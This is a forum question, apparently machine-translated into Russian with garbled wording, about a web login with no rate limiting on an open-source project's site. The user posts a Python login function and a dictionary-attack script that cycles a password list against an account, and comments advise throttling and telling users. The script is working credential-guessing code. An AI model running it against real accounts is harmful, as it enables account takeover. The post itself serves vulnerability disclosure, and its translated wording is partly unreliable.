Я заставлял бота подписываться на сайте сайта проекта с открытым исходным кодом (не говоря уже о каких-либо именах), и я заметил, что мой бот не наносил максимальный запрет на попытки входа в систему, независимо от того, сколько раз я пытался для входа с неправильными учетными данными.Является ли этот вход в Python практически незащищенным?
def login(account,passwd):
r = requests.post("http://nottheprojectname.com/~~app/action.php",
data={'act': "login",
'name': account,
'pass': passwd,
'keyid': ""
})
return r.text
Я использовал сценарий Python, как показано выше, чтобы войти в систему, и я решил сделать тестовый скрипт демонстрации того, как учетная запись может быть грубой принудительно.
import re
import requests
def dictionary_crack(account):
attempts = 0
with open('giant_PW_list.txt', 'r') as f:
for passwd in f:
resp = login(account, passwd)
if re.findall("loggedin\"\:[a-z]+",resp) == [u'loggedin":true']:
return account + ": " + passwd
else:
attempts += 1
print trys
else:
input("All login attemts on "+account+" failed")
Я показал этот скрипт для администраторов проекта, и они отклонили это говоря, что это не будет работать, потому что попытки входа будут замедляться преформы. Тем не менее, я попробовал это на тестовой учетной записи, которую я сделал, и смог преформировать около 10 000 попыток входа в минуту с одним из этих запущенных скриптов. Не очень быстро для атаки грубой силы, но это, безусловно, не кажется незначительным (особенно если несколько атак были предварительно сформованы одновременно на одной учетной записи одновременно с последовательными словарями).
Все это кажется смешным и легко фиксируемым для меня. Я не испытываю проблем с веб-безопасностью, поэтому я чувствую конфликтующие корректирующие люди, которые гораздо более осведомлены в области веб-безопасности, чем я.
Правильный способ сделать подобный подход грубой силы «слишком медленным» будет заключаться в том, чтобы ограничить попытки входа в систему примерно одним секундой. Если администраторы сайта не прослушивали, я предлагаю поговорить с пользователями сайта, потому что их учетные записи будут скомпрометированы, если (когда) сайт будет взломан. – TigerhawkT3
to slow -> слишком медленная заготовка -> выполнить И это скорее словарь, чем грубая атака ... –
@ TigerhawkT3 Спасибо. Мне не нужно самостоятельно перестраивать систему (хотя, поскольку это с открытым исходным кодом, я мог бы исправить ее). Я хотел, чтобы показать администратору сайта внешнюю ссылку, чтобы они меня слушали. –